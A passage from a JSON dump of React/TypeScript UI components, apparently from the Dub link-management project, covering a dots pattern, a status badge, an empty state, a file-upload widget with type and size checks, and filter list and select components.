    "content": "import { cn } from \"@dub/utils\";\nimport { useId } from \"react\";\n\nexport function DotsPattern({\n  dotSize = 2,\n  gapSize = 10,\n  patternOffset = [0, 0],\n  className,\n}: {\n  dotSize?: number;\n  gapSize?: number;\n  patternOffset?: [number, number];\n  className?: string;\n}) {\n  const id = useId();\n\n  return (\n    <svg\n      className={cn(\n        \"pointer-events-none absolute inset-0 text-black/10\",\n        className,\n      )}\n      width=\"100%\"\n      height=\"100%\"\n    >\n      <defs>\n        <pattern\n          id={`dots-${id}`}\n          x={patternOffset[0] - 1}\n          y={patternOffset[1] - 1}\n          width={dotSize + gapSize}\n          height={dotSize + gapSize}\n          patternUnits=\"userSpaceOnUse\"\n        >\n          <rect\n            x={1}\n            y={1}\n            width={dotSize}\n            height={dotSize}\n            fill=\"currentColor\"\n          />\n        </pattern>\n      </defs>\n      <rect fill={`url(#dots-${id})`} width=\"100%\" height=\"100%\" />\n    </svg>\n  );\n}\n"
  },
  {
    "path": "packages/ui/src/dub-status-badge.tsx",
    "content": "import { cn } from \"@dub/utils\";\n\nimport { fetcher } from \"@dub/utils\";\nimport Link from \"next/link\";\nimport { useEffect, useState } from \"react\";\nimport useSWR from \"swr\";\n\nexport function DubStatusBadge({ className }: { className?: string }) {\n  const { data } = useSWR<{\n    ongoing_incidents: {\n      name: string;\n      current_worst_impact:\n        | \"degraded_performance\"\n        | \"partial_outage\"\n        | \"full_outage\";\n    }[];\n  }>(\"https://status.dub.co/api/v1/summary\", fetcher);\n\n  const [color, setColor] = useState(\"bg-neutral-200\");\n  const [status, setStatus] = useState(\"Loading status...\");\n\n  useEffect(() => {\n    if (!data) return;\n    const { ongoing_incidents } = data;\n    if (ongoing_incidents.length > 0) {\n      const { current_worst_impact, name } = ongoing_incidents[0];\n      const color =\n        current_worst_impact === \"degraded_performance\"\n          ? \"bg-yellow-500\"\n          : \"bg-red-500\";\n      setStatus(name);\n      setColor(color);\n    } else {\n      setStatus(\"All systems operational\");\n      setColor(\"bg-green-500\");\n    }\n  }, [data]);\n\n  return (\n    <Link\n      href=\"https://status.dub.co\"\n      target=\"_blank\"\n      className={cn(\n        \"group flex max-w-fit items-center gap-2 rounded-lg border border-neutral-200 bg-white py-2 pl-2 pr-2.5 transition-colors hover:bg-neutral-50 active:bg-neutral-100\",\n        className,\n      )}\n    >\n      <div className=\"relative size-2\">\n        <div\n          className={cn(\n            \"absolute inset-0 m-auto size-2 animate-ping items-center justify-center rounded-full group-hover:animate-none\",\n            color,\n            status === \"Loading status...\" && \"animate-none\",\n          )}\n        />\n        <div\n          className={cn(\n            \"absolute inset-0 z-10 m-auto size-2 rounded-full\",\n            color,\n          )}\n        />\n      </div>\n      <p className=\"text-xs font-medium leading-none text-neutral-600\">\n        {status}\n      </p>\n    </Link>\n  );\n}\n"
  },
  {
    "path": "packages/ui/src/empty-state.tsx",
    "content": "import { PropsWithChildren, ReactNode } from \"react\";\n\nexport type EmptyStateProps = PropsWithChildren<{\n  icon: React.ElementType;\n  title: string;\n  description?: ReactNode;\n  learnMore?: string;\n}>;\n\nexport function EmptyState({\n  icon: Icon,\n  title,\n  description,\n  learnMore,\n  children,\n}: EmptyStateProps) {\n  return (\n    <div className=\"flex flex-col items-center justify-center gap-y-4\">\n      <div className=\"flex size-16 items-center justify-center rounded-2xl border border-neutral-200 bg-neutral-50\">\n        <Icon className=\"size-6 text-neutral-800\" />\n      </div>\n      <p className=\"text-center text-base font-medium text-neutral-950\">\n        {title}\n      </p>\n      {description && (\n        <p className=\"max-w-sm text-balance text-center text-sm text-neutral-500\">\n          {description}{\" \"}\n          {learnMore && (\n            <a\n              href={learnMore}\n              target=\"_blank\"\n              className=\"underline underline-offset-2 hover:text-neutral-800\"\n            >\n              Learn more ↗\n            </a>\n          )}\n        </p>\n      )}\n      {children}\n    </div>\n  );\n}\n"
  },
  {
    "path": "packages/ui/src/file-upload.tsx",
    "content": "import { cn, resizeImage } from \"@dub/utils\";\nimport { VariantProps, cva } from \"class-variance-authority\";\nimport { DragEvent, ReactNode, useState } from \"react\";\nimport { toast } from \"sonner\";\nimport { CloudUpload, Icon, LoadingCircle } from \"./icons\";\n\ntype AcceptedFileFormats =\n  | \"any\"\n  | \"images\"\n  | \"csv\"\n  | \"documents\"\n  | \"programResourceImages\"\n  | \"programResourceFiles\";\n\nconst documentTypes = [\n  \"application/pdf\", // .pdf\n  \"text/plain\", // .txt\n  \"application/msword\", // .doc\n  \"application/vnd.openxmlformats-officedocument.wordprocessingml.document\", // .docx\n  \"application/vnd.ms-excel\", // .xls\n  \"application/vnd.openxmlformats-officedocument.spreadsheetml.sheet\", // .xlsx\n  \"text/csv\", // .csv\n];\n\nconst acceptFileTypes: Record<\n  AcceptedFileFormats,\n  { types: string[]; errorMessage?: string }\n> = {\n  any: { types: [] },\n  images: {\n    types: [\"image/png\", \"image/jpeg\"],\n    errorMessage: \"File type not supported (.png or .jpg only)\",\n  },\n  csv: {\n    types: [\"text/csv\"],\n    errorMessage: \"File type not supported (.csv only)\",\n  },\n  documents: {\n    types: documentTypes,\n    errorMessage: \"File type not supported (document files only)\",\n  },\n  // TODO: allow custom `accept` prop so we don't need specific options here\n  programResourceImages: {\n    types: [\"image/svg+xml\", \"image/png\", \"image/jpeg\", \"image/webp\"],\n    errorMessage: \"File type not supported (.svg, .png, .jpg, or .webp only)\",\n  },\n  programResourceFiles: {\n    types: [...documentTypes, \"application/zip\"],\n    errorMessage: \"File type not supported (document or zip files only)\",\n  },\n};\n\nconst imageUploadVariants = cva(\n  \"group relative isolate flex aspect-[1200/630] w-full flex-col items-center justify-center overflow-hidden bg-white transition-all hover:bg-neutral-50\",\n  {\n    variants: {\n      variant: {\n        default: \"rounded-md border border-neutral-300 shadow-sm\",\n        plain: \"\",\n      },\n    },\n    defaultVariants: {\n      variant: \"default\",\n    },\n  },\n);\n\ntype FileUploadReadFileProps =\n  | {\n      /**\n       * Whether to automatically read the file and return the result as `src` to onChange\n       */\n      readFile?: false;\n      onChange?: (data: { file: File }) => void;\n    }\n  | {\n      /**\n       * Whether to automatically read the file and return the result as `src` to onChange\n       */\n      readFile: true;\n      onChange?: (data: { file: File; src: string }) => void;\n    };\n\nexport type FileUploadProps = FileUploadReadFileProps & {\n  id?: string;\n  accept: AcceptedFileFormats;\n  className?: string;\n  iconClassName?: string;\n  previewClassName?: string;\n\n  icon?: Icon;\n\n  /**\n   * Custom preview component to display instead of the default\n   */\n  customPreview?: ReactNode;\n  /**\n   * Image to display (generally for image uploads)\n   */\n  imageSrc?: string | null;\n\n  /**\n   * Whether to display a loading spinner\n   */\n  loading?: boolean;\n\n  /**\n   * Whether to allow clicking on the area to upload\n   */\n  clickToUpload?: boolean;\n\n  /**\n   * Whether to show instruction overlay when hovered\n   */\n  showHoverOverlay?: boolean;\n\n  /**\n   * Content to display below the upload icon (null to only display the icon)\n   */\n  content?: ReactNode | null;\n\n  /**\n   * Desired resolution to suggest and optionally resize to\n   */\n  targetResolution?: { width: number; height: number };\n\n  /**\n   * A maximum file size (in megabytes) to check upon file selection. Default is 5MB.\n   */\n  maxFileSizeMB?: number;\n\n  /**\n   * Accessibility label for screen readers\n   */\n  accessibilityLabel?: string;\n\n  disabled?: boolean;\n} & VariantProps<typeof imageUploadVariants>;\n\nexport function FileUpload({\n  id,\n  readFile,\n  onChange,\n  variant,\n  className,\n  iconClassName,\n  previewClassName,\n  icon: Icon = CloudUpload,\n  customPreview,\n  accept = \"any\",\n  imageSrc,\n  loading = false,\n  clickToUpload = true,\n  showHoverOverlay = true,\n  content,\n  maxFileSizeMB = 5,\n  targetResolution,\n  accessibilityLabel = \"File upload\",\n  disabled = false,\n}: FileUploadProps) {\n  const [dragActive, setDragActive] = useState(false);\n  const [fileName, setFileName] = useState<string | null>(null);\n\n  const onFileChange = async (\n    e: React.ChangeEvent<HTMLInputElement> | DragEvent,\n  ) => {\n    const file =\n      \"dataTransfer\" in e\n        ? e.dataTransfer.files && e.dataTransfer.files[0]\n        : e.target.files && e.target.files[0];\n    if (!file) return;\n\n    setFileName(file.name);\n\n    if (maxFileSizeMB > 0 && file.size / 1024 / 1024 > maxFileSizeMB) {\n      toast.error(`File size too big (max ${maxFileSizeMB} MB)`);\n      return;\n    }\n\n    const acceptedTypes = acceptFileTypes[accept].types;\n\n    if (acceptedTypes.length && !acceptedTypes.includes(file.type)) {\n      toast.error(\n        acceptFileTypes[accept].errorMessage ?? \"File type not supported\",\n      );\n      return;\n    }\n\n    let fileToUse = file;\n\n    // Add image resizing logic\n    if (targetResolution && file.type.startsWith(\"image/\")) {\n      try {\n        const resizedFile = await resizeImage(file, targetResolution);\n        const blob = await fetch(resizedFile).then((r) => r.blob());\n        fileToUse = new File([blob], file.name, { type: file.type });\n      } catch (error) {\n        console.error(\"Error resizing image:\", error);\n        // Fallback to original file if resize fails\n      }\n    }\n\n    // File reading logic\n    if (readFile) {\n      const reader = new FileReader();\n      reader.onload = (e) =>\n        onChange?.({ src: e.target?.result as string, file: fileToUse });\n      reader.readAsDataURL(fileToUse);\n      return;\n    }\n\n    onChange?.({ file: fileToUse });\n  };\n\n  return (\n    <label\n      className={cn(\n        imageUploadVariants({ variant }),\n        !disabled\n          ? cn(clickToUpload && \"cursor-pointer\")\n          : \"cursor-not-allowed\",\n        className,\n      )}\n    >\n      {loading && (\n        <div className=\"absolute inset-0 z-[5] flex items-center justify-center rounded-[inherit] bg-white\">\n          <LoadingCircle />\n        </div>\n      )}\n      <div\n        className=\"absolute inset-0 z-[5]\"\n        onDragOver={(e) => {\n          e.preventDefault();\n          e.stopPropagation();\n          setDragActive(true);\n        }}\n        onDragEnter={(e) => {\n          e.preventDefault();\n          e.stopPropagation();\n          setDragActive(true);\n        }}\n        onDragLeave={(e) => {\n          e.preventDefault();\n          e.stopPropagation();\n          setDragActive(false);\n        }}\n        onDrop={async (e) => {\n          e.preventDefault();\n          e.stopPropagation();\n          onFileChange(e);\n          setDragActive(false);\n        }}\n      />\n      <div\n        className={cn(\n          \"absolute inset-0 z-[3] flex flex-col items-center justify-center rounded-[inherit] border-2 border-transparent bg-white transition-all\",\n          disabled && \"bg-neutral-50\",\n          dragActive &&\n            !disabled &&\n            \"cursor-copy border-black bg-neutral-50 opacity-100\",\n          imageSrc\n            ? cn(\n                \"opacity-0\",\n                showHoverOverlay && !disabled && \"group-hover:opacity-100\",\n              )\n            : cn(!disabled && \"group-hover:bg-neutral-50\"),\n        )}\n      >\n        <Icon\n          className={cn(\n            \"size-7 transition-all duration-75\",\n            !disabled\n              ? cn(\n                  \"text-neutral-500 group-hover:scale-110 group-active:scale-95\",\n                  dragActive ? \"scale-110\" : \"scale-100\",\n                )\n              : \"text-neutral-400\",\n            iconClassName,\n          )}\n        />\n        {content !== null && (\n          <div\n            className={cn(\n              \"mt-2 text-center text-sm text-neutral-500\",\n              disabled && \"text-neutral-400\",\n            )}\n          >\n            {content ?? (\n              <>\n                <p>Drag and drop {clickToUpload && \"or click\"} to upload.</p>\n              </>\n            )}\n          </div>\n        )}\n        <span className=\"sr-only\">{accessibilityLabel}</span>\n      </div>\n      {imageSrc &&\n        (customPreview ?? (\n          <img\n            src={imageSrc}\n            alt=\"Preview\"\n            className={cn(\n              \"h-full w-full rounded-[inherit] object-cover\",\n              previewClassName,\n            )}\n          />\n        ))}\n      {clickToUpload && (\n        <div className=\"sr-only mt-1 flex shadow-sm\">\n          <input\n            id={id}\n            key={fileName} // Gets us a fresh input every time a file is uploaded\n            type=\"file\"\n            accept={acceptFileTypes[accept].types.join(\",\")}\n            onChange={onFileChange}\n            disabled={disabled}\n          />\n        </div>\n      )}\n    </label>\n  );\n}\n"
  },
  {
    "path": "packages/ui/src/filter/filter-list.tsx",
    "content": "import { cn, pluralize, truncate } from \"@dub/utils\";\nimport { Command } from \"cmdk\";\nimport { X } from \"lucide-react\";\nimport { AnimatePresence, motion } from \"motion/react\";\nimport Link from \"next/link\";\nimport { ReactNode, isValidElement, useCallback, useState } from \"react\";\nimport { AnimatedSizeContainer } from \"../animated-size-container\";\nimport { useKeyboardShortcut } from \"../hooks\";\nimport { Check } from \"../icons\";\nimport { Popover } from \"../popover\";\nimport {\n  ActiveFilterInput,\n  Filter,\n  FilterOperator,\n  FilterOption,\n  normalizeActiveFilter,\n} from \"./types\";\n\ntype FilterListProps = {\n  filters: Filter[];\n  activeFilters?: ActiveFilterInput[];\n  onRemove: (key: string, value: FilterOption[\"value\"]) => void;\n  onRemoveFilter?: (key: string) => void;\n  onRemoveAll: () => void;\n  onSelect?: (\n    key: string,\n    value: FilterOption[\"value\"] | FilterOption[\"value\"][],\n  ) => void;\n  onToggleOperator?: (key: string) => void;\n  isAdvancedFilter?: boolean;\n  className?: string;\n};\n\nfunction getOperatorLabel(operator: FilterOperator): string {\n  switch (operator) {\n    case \"IS\":\n    case \"IS_ONE_OF\":\n      return \"is\";\n\n    case \"IS_NOT\":\n    case \"IS_NOT_ONE_OF\":\n      return \"is not\";\n\n    default:\n      return \"is\";\n  }\n}\n\nexport function FilterList({\n  filters,\n  activeFilters,\n  onRemove,\n  onRemoveFilter,\n  onRemoveAll,\n  onSelect,\n  onToggleOperator,\n  isAdvancedFilter = false,\n  className,\n}: FilterListProps) {\n  useKeyboardShortcut(\"Escape\", onRemoveAll, { priority: 1 });\n  const normalizedFilters = activeFilters?.map(normalizeActiveFilter) ?? [];\n\n  return (\n    <AnimatedSizeContainer\n      height\n      className=\"w-full\"\n      transition={{ type: \"tween\", duration: 0.3 }}\n    >\n      <div\n        className={cn(\n          \"flex w-full flex-wrap items-start gap-4 sm:flex-nowrap\",\n          className,\n        )}\n      >\n        <div className=\"flex grow flex-wrap gap-x-4 gap-y-2\">\n          <AnimatePresence>\n            {normalizedFilters.map(({ key, values, operator }) => {\n              if (key === \"loader\") {\n                return (\n                  <motion.div\n                    key={`loader-${values?.[0] ?? 0}`}\n                    initial={{ opacity: 0, y: 4 }}\n                    animate={{ opacity: 1, y: 0 }}\n                    className=\"h-9 w-48 animate-pulse rounded-md border border-neutral-200 bg-white\"\n                  />\n                );\n              }\n\n              const filter = filters.find((f) => f.key === key);\n              if (!filter) {\n                console.error(\n                  \"Filter.List received an activeFilter without a corresponding filter\",\n                );\n                return null;\n              }\n\n              const isSingleValue = values.length === 1;\n              const displayValues = values.slice(0, 3);\n\n              const displayLabel = isSingleValue\n                ? (() => {\n                    const value = values[0];\n                    const option = filter.options?.find((o) =>\n                      typeof o.value === \"string\" && typeof value === \"string\"\n                        ? o.value.toLowerCase() === value.toLowerCase()\n                        : o.value === value,\n                    );\n                    return (\n                      option?.label ??\n                      filter.getOptionLabel?.(value, {\n                        key: filter.key,\n                        option,\n                      }) ??\n                      String(value)\n                    );\n                  })()\n                : `${values.length} ${filter.labelPlural ?? pluralize(filter.label, values.length)}`;\n\n              const OptionDisplay = ({ className }: { className?: string }) => {\n                let iconDisplay;\n                let permalinkDisplay;\n\n                if (isSingleValue) {\n                  const value = values[0];\n                  const option = filter.options?.find((o) =>\n                    typeof o.value === \"string\" && typeof value === \"string\"\n                      ? o.value.toLowerCase() === value.toLowerCase()\n                      : o.value === value,\n                  );\n\n                  permalinkDisplay =\n                    option?.permalink ??\n                    filter.getOptionPermalink?.(value) ??\n                    null;\n\n                  const OptionIcon =\n                    option?.icon ??\n                    filter.getOptionIcon?.(value, {\n                      key: filter.key,\n                      option,\n                    }) ??\n                    filter.icon;\n\n                  iconDisplay = (\n                    <span className=\"shrink-0 text-neutral-600\">\n                      {isReactNode(OptionIcon) ? (\n                        OptionIcon\n                      ) : (\n                        <OptionIcon className=\"h-4 w-4\" />\n                      )}\n                    </span>\n                  );\n                } else if (!filter.hideMultipleIcons) {\n                  iconDisplay = (\n                    <div className=\"flex shrink-0 -space-x-1\">\n                      {displayValues.map((value, idx) => {\n                        const option = filter.options?.find((o) =>\n                          typeof o.value === \"string\" &&\n                          typeof value === \"string\"\n                            ? o.value.toLowerCase() === value.toLowerCase()\n                            : o.value === value,\n                        );\n\n                        const OptionIcon =\n                          option?.icon ??\n                          filter.getOptionIcon?.(value, {\n                            key: filter.key,\n                            option,\n                          }) ??\n                          filter.icon;\n\n                        return (\n                          <span\n                            key={idx}\n                            className=\"inline-flex text-neutral-600\"\n                            style={{ zIndex: displayValues.length - idx }}\n                          >\n                            {isReactNode(OptionIcon) ? (\n                              OptionIcon\n                            ) : (\n                              <OptionIcon className=\"h-4 w-4\" />\n                            )}\n                          </span>\n                        );\n                      })}\n                    </div>\n                  );\n                } else {\n                  iconDisplay = (\n                    <span className=\"shrink-0 text-neutral-600\">\n                      {isReactNode(filter.icon) ? (\n                        filter.icon\n                      ) : (\n                        <filter.icon className=\"h-4 w-4\" />\n                      )}\n                    </span>\n                  );\n                }\n\n                return (\n                  <div\n                    className={cn(\n                      \"flex items-center gap-2.5 px-3 py-2\",\n                      className,\n                    )}\n                  >\n                    {iconDisplay}\n                    {permalinkDisplay ? (\n                      <Link\n                        href={permalinkDisplay}\n                        target=\"_blank\"\n                        className=\"cursor-alias decoration-dotted underline-offset-2 hover:underline\"\n                      >\n                        {truncate(displayLabel, 30)}\n                      </Link>\n                    ) : (\n                      truncate(displayLabel, 30)\n                    )}\n                  </div>\n                );\n              };\n\n              return (\n                <OperatorFilterPill\n                  key={key}\n                  filterKey={key}\n                  filter={filter}\n                  values={values}\n                  operator={operator}\n                  OptionDisplay={OptionDisplay}\n                  onRemove={onRemove}\n                  onRemoveFilter={onRemoveFilter}\n                  onSelect={onSelect}\n                  onToggleOperator={onToggleOperator}\n                  isAdvancedFilter={isAdvancedFilter}\n                />\n              );\n            })}\n          </AnimatePresence>\n        </div>\n        {normalizedFilters.length !== 0 && (\n          <button\n            type=\"button\"\n            className=\"group mt-px flex items-center gap-2 whitespace-nowrap rounded-lg border border-transparent px-3 py-2 text-sm text-neutral-500 ring-inset ring-neutral-500 transition-colors hover:border-neutral-200 hover:bg-white hover:text-black focus:outline-none\"\n            onClick={onRemoveAll}\n          >\n            Clear Filters\n            <kbd className=\"rounded-md border border-neutral-200 px-1.5 py-0.5 text-xs text-neutral-950 group-hover:bg-neutral-50\">\n              ESC\n            </kbd>\n          </button>\n        )}\n      </div>\n    </AnimatedSizeContainer>\n  );\n}\n\nfunction OperatorFilterPill({\n  filterKey,\n  filter,\n  values,\n  operator,\n  OptionDisplay,\n  onRemove,\n  onRemoveFilter,\n  onSelect,\n  onToggleOperator,\n  isAdvancedFilter = false,\n}: {\n  filterKey: string;\n  filter: Filter;\n  values: FilterOption[\"value\"][];\n  operator: FilterOperator;\n  OptionDisplay: ({ className }: { className?: string }) => ReactNode;\n  onRemove: (key: string, value: FilterOption[\"value\"]) => void;\n  onRemoveFilter?: (key: string) => void;\n  onSelect?: (\n    key: string,\n    value: FilterOption[\"value\"] | FilterOption[\"value\"][],\n  ) => void;\n  onToggleOperator?: (key: string) => void;\n  isAdvancedFilter?: boolean;\n}) {\n  const [operatorDropdownOpen, setOperatorDropdownOpen] = useState(false);\n  const [valueDropdownOpen, setValueDropdownOpen] = useState(false);\n  const [search, setSearch] = useState(\"\");\n  const [initialSelectedValues, setInitialSelectedValues] = useState<\n    Set<FilterOption[\"value\"]>\n  >(new Set());\n\n  const openValueDropdown = useCallback(() => {\n    setInitialSelectedValues(new Set(values));\n    setValueDropdownOpen(true);\n  }, [values]);\n\n  const toggleValue = useCallback(\n    (value: FilterOption[\"value\"]) => {\n      const isSelected = values.includes(value);\n      if (isSelected) {\n        onRemove(filterKey, value);\n      } else {\n        onSelect?.(filterKey, value);\n      }\n\n      if (!isAdvancedFilter && !filter.multiple) setValueDropdownOpen(false);\n    },\n    [filterKey, values, onSelect, onRemove, isAdvancedFilter, filter.multiple],\n  );\n\n  return (\n    <motion.div\n      initial={{ opacity: 0, y: 4 }}\n      animate={{ opacity: 1, y: 0 }}\n      className=\"flex items-center divide-x rounded-md border border-neutral-200 bg-white text-sm text-black\"\n    >\n      <div className=\"flex items-center gap-2.5 px-3 py-2\">\n        <span className=\"shrink-0 text-neutral-600\">\n          {isReactNode(filter.icon) ? (\n            filter.icon\n          ) : (\n            <filter.icon className=\"h-4 w-4\" />\n          )}\n        </span>\n        {filter.label}\n      </div>\n\n      {(isAdvancedFilter || filter.multiple) &&\n      !filter.singleSelect &&\n      !filter.hideOperator ? (\n        <Popover\n          openPopover={operatorDropdownOpen}\n          setOpenPopover={setOperatorDropdownOpen}\n          content={\n            <div className=\"w-32 p-1\">\n              <button\n                type=\"button\"\n                className={cn(\n                  \"flex w-full items-center rounded-md px-3 py-2 text-left text-sm transition-colors hover:bg-neutral-100\",\n                  !operator.includes(\"NOT\") && \"bg-neutral-50\",\n                )}\n                onClick={() => {\n                  if (operator.includes(\"NOT\")) {\n                    onToggleOperator?.(filterKey);\n                  }\n                  setOperatorDropdownOpen(false);\n                }}\n              >\n                is\n              </button>\n              <button\n                type=\"button\"\n                className={cn(\n                  \"flex w-full items-center rounded-md px-3 py-2 text-left text-sm transition-colors hover:bg-neutral-100\",\n                  operator.includes(\"NOT\") && \"bg-neutral-50\",\n                )}\n                onClick={() => {\n                  if (!operator.includes(\"NOT\")) {\n                    onToggleOperator?.(filterKey);\n                  }\n                  setOperatorDropdownOpen(false);\n                }}\n              >\n                is not\n              </button>\n            </div>\n          }\n          align=\"center\"\n        >\n          <button\n            type=\"button\"\n            className=\"px-3 py-2 text-neutral-500 transition-colors hover:bg-neutral-50 hover:text-neutral-700\"\n          >\n            {getOperatorLabel(operator)}\n          </button>\n        </Popover>\n      ) : (\n        <div className=\"px-3 py-2 text-neutral-500\">is</div>\n      )}\n\n      <Popover\n        openPopover={valueDropdownOpen}\n        setOpenPopover={(open) => {\n          setValueDropdownOpen(open);\n          if (!open) {\n            setSearch(\"\");\n            setInitialSelectedValues(new Set());\n          }\n        }}\n        content={\n          <div>\n            <AnimatedSizeContainer width height className=\"rounded-[inherit]\">\n              <Command loop shouldFilter={false}>\n                <div className=\"flex items-center overflow-hidden rounded-t-lg border-b border-neutral-200\">\n                  <Command.Input\n                    placeholder={`${filter.label}...`}\n                    value={search}\n                    onValueChange={setSearch}\n                    className=\"grow border-0 py-3 pl-4 pr-2 outline-none placeholder:text-neutral-400 focus:ring-0 sm:text-sm\"\n                    autoCapitalize=\"none\"\n                  />\n                </div>\n                <div className=\"scrollbar-hide max-h-[50vh] w-screen overflow-y-scroll sm:w-auto\">\n                  <Command.List className=\"flex w-full min-w-[180px] flex-col gap-1 p-1\">\n                    {(() => {\n                      const filteredOptions =\n                        filter.options?.filter((option) => {\n                          if (!search) return true;\n                          const optionLabel = (\n                            option.label ??\n                            filter.getOptionLabel?.(option.value, {\n                              key: filter.key,\n                              option,\n                            }) ??\n                            String(option.value)\n                          ).toLowerCase();\n                          return optionLabel.includes(search.toLowerCase());\n                        }) ?? [];\n\n                      const selectedOptions = filteredOptions.filter((option) =>\n                        initialSelectedValues.has(option.value),\n                      );\n                      const unselectedOptions = filteredOptions.filter(\n                        (option) => !initialSelectedValues.has(option.value),\n                      );\n\n                      const renderOption = (option: FilterOption) => {\n                        const isSelected = values.includes(option.value);\n                        const OptionIcon =\n                          option.icon ??\n                          filter.getOptionIcon?.(option.value, {\n                            key: filter.key,\n                            option,\n                          }) ??\n                          filter.icon;\n\n                        const optionLabel =\n                          option.label ??\n                          filter.getOptionLabel?.(option.value, {\n                            key: filter.key,\n                            option,\n                          }) ??\n                          String(option.value);\n\n                        return (\n                          <Command.Item\n                            key={option.value}\n                            className={cn(\n                              \"flex cursor-pointer items-center gap-3 whitespace-nowrap rounded-md px-3 py-2 text-left text-sm\",\n                              \"data-[selected=true]:bg-neutral-100\",\n                            )}\n                            onSelect={() => {\n                              toggleValue(option.value);\n                            }}\n                            onPointerDown={(e) => {\n                              e.preventDefault();\n                            }}\n                            value={optionLabel + option.value}\n                          >\n                            {(isAdvancedFilter || filter.multiple) &&\n                              !filter.singleSelect && (\n                                <div\n                                  className={cn(\n                                    \"flex h-4 w-4 items-center justify-center rounded border\",\n                                    isSelected\n                                      ? \"border-neutral-900 bg-neutral-900\"\n                                      : \"border-neutral-300\",\n                                  )}\n                                >\n                                  {isSelected && (\n                                    <Check className=\"h-3 w-3 text-white\" />\n                                  )}\n                                </div>\n                              )}\n                            <span className=\"shrink-0 text-neutral-600\">\n                              {isReactNode(OptionIcon) ? (\n                                OptionIcon\n                              ) : (\n                                <OptionIcon className=\"h-4 w-4\" />\n                              )}\n                            </span>\n                            <span className=\"flex-1\">\n                              {truncate(optionLabel, 48)}\n                            </span>\n                            <div className=\"ml-1 flex shrink-0 justify-end text-neutral-500\">\n                              {(isAdvancedFilter || filter.multiple) &&\n                              !filter.singleSelect ? (\n                                option.right\n                              ) : isSelected ? (\n                                <Check className=\"h-4 w-4\" />\n                              ) : (\n                                option.right\n                              )}\n                            </div>\n                          </Command.Item>\n                        );\n                      };\n\n                      return (\n                        <>\n                          {selectedOptions.map(renderOption)}\n\n                          {(isAdvancedFilter || filter.multiple) &&\n                            !filter.singleSelect &&\n                            selectedOptions.length > 0 &&\n                            unselectedOptions.length > 0 && (\n                              <Command.Separator className=\"-mx-1 my-1 border-b border-neutral-200\" />\n                            )}\n\n                          {unselectedOptions.map(renderOption)}\n                        </>\n                      );\n                    })()}\n                  </Command.List>\n                </div>\n              </Command>\n            </AnimatedSizeContainer>\n          </div>\n        }\n        align=\"start\"\n      >\n        <button\n          type=\"button\"\n          onClick={openValueDropdown}\n          disabled={filter.options?.length === 0}\n          className={cn(\n            \"flex items-center\",\n            filter.options?.length && \"transition-colors hover:bg-neutral-50\",\n          )}\n        >\n          {!filter.options ? (\n            <div className=\"flex items-center gap-2.5 px-3 py-2\">\n              <div className=\"h-5 w-12 animate-pulse rounded-md bg-neutral-200\" />\n            </div>\n          ) : (\n            OptionDisplay({ className: \"cursor-pointer\" })\n          )}\n        </button>\n      </Popover>\n\n      <button\n        type=\"button\"\n        className=\"h-full rounded-r-md p-2 text-neutral-500 ring-inset ring-neutral-500 hover:bg-neutral-100 hover:text-neutral-800 focus:outline-none focus-visible:ring-1\"\n        onClick={() => {\n          if (onRemoveFilter) {\n            onRemoveFilter(filterKey);\n          } else {\n            values.forEach((value) => {\n              onRemove(filterKey, value);\n            });\n          }\n        }}\n      >\n        <X className=\"h-3.5 w-3.5\" />\n      </button>\n    </motion.div>\n  );\n}\n\nconst isReactNode = (element: any): element is ReactNode =>\n  isValidElement(element);\n"
  },
  {
    "path": "packages/ui/src/filter/filter-select.tsx",
    "content": "import { cn, truncate } from \"@dub/utils\";\nimport { Command, useCommandState } from \"cmdk\";\nimport { ChevronDown, ListFilter } from \"lucide-react\";\nimport {\n  Fragment,\n  PropsWithChildren,\n  ReactNode,\n  forwardRef,\n  isValidElement,\n  useCallback,\n  useEffect,\n  useImperativeHandle,\n  useRef,\n  useState,\n} from \"react\";\nimport { AnimatedSizeContainer } from \"../animated-size-container\";\nimport { useKeyboardShortcut, useMediaQuery } from \"../hooks\";\nimport { useScrollProgress } from \"../hooks/use-scroll-progress\";\nimport { Check, LoadingSpinner, Magic } from \"../icons\";\nimport { Popover } from \"../popover\";\nimport {\n  ActiveFilterInput,\n  Filter,\n  FilterOption,\n  normalizeActiveFilter,\n} from \"./types\";\n\ntype FilterSelectProps = {\n  filters: Filter[];\n  onSelect: (\n    key: string,\n    value: FilterOption[\"value\"] | FilterOption[\"value\"][],\n  ) => void;\n  onRemove: (key: string, value: FilterOption[\"value\"]) => void;\n  onOpenFilter?: (key: string) => void;\n  onSearchChange?: (search: string) => void;\n  onSelectedFilterChange?: (key: string | null) => void;\n  activeFilters?: ActiveFilterInput[];\n  askAI?: boolean;\n  isAdvancedFilter?: boolean;\n  children?: ReactNode;\n  emptyState?: ReactNode | Record<string, ReactNode>;\n  className?: string;\n};\n\nexport function FilterSelect({\n  filters,\n  onSelect,\n  onRemove,\n  onOpenFilter,\n  onSearchChange,\n  onSelectedFilterChange,\n  activeFilters,\n  askAI,\n  isAdvancedFilter = false,\n  children,\n  emptyState,\n  className,\n}: FilterSelectProps) {\n  const { isMobile } = useMediaQuery();\n\n  // Track main list container/dimensions to maintain size for loading spinner\n  const listContainer = useRef<HTMLDivElement>(null);\n  const listDimensions = useRef<{\n    width: number;\n    height: number;\n  }>(undefined);\n\n  const [isOpen, setIsOpen] = useState(false);\n\n  useKeyboardShortcut(\"f\", () => setIsOpen(true), {\n    enabled: !isOpen,\n  });\n\n  const [search, setSearch] = useState(\"\");\n  const [selectedFilterKey, setSelectedFilterKey] = useState<\n    Filter[\"key\"] | null\n  >(null);\n\n  const reset = useCallback(() => {\n    setSearch(\"\");\n    setSelectedFilterKey(null);\n  }, []);\n\n  // Reset state when closed\n  useEffect(() => {\n    if (!isOpen) reset();\n  }, [isOpen]);\n\n  // The currently selected filter to display options for\n  const selectedFilter = selectedFilterKey\n    ? filters.find(({ key }) => key === selectedFilterKey)\n    : null;\n\n  const openFilter = useCallback(\n    (key: Filter[\"key\"]) => {\n      // Maintain dimensions for loading options\n      if (listContainer.current) {\n        listDimensions.current = {\n          width: listContainer.current.clientWidth,\n          height: listContainer.current.clientHeight,\n        };\n      }\n\n      setSearch(\"\");\n      setSelectedFilterKey(key);\n\n      onOpenFilter?.(key);\n    },\n    [onOpenFilter],\n  );\n\n  const isOptionSelected = useCallback(\n    (value: FilterOption[\"value\"]) => {\n      if (!selectedFilter || !activeFilters) return false;\n\n      const rawActiveFilter = activeFilters.find(\n        (filter) => filter.key === selectedFilterKey,\n      );\n      if (!rawActiveFilter) return false;\n\n      const normalizedFilter = normalizeActiveFilter(rawActiveFilter);\n      return normalizedFilter.values.includes(value);\n    },\n    [selectedFilter, activeFilters, selectedFilterKey],\n  );\n\n  const 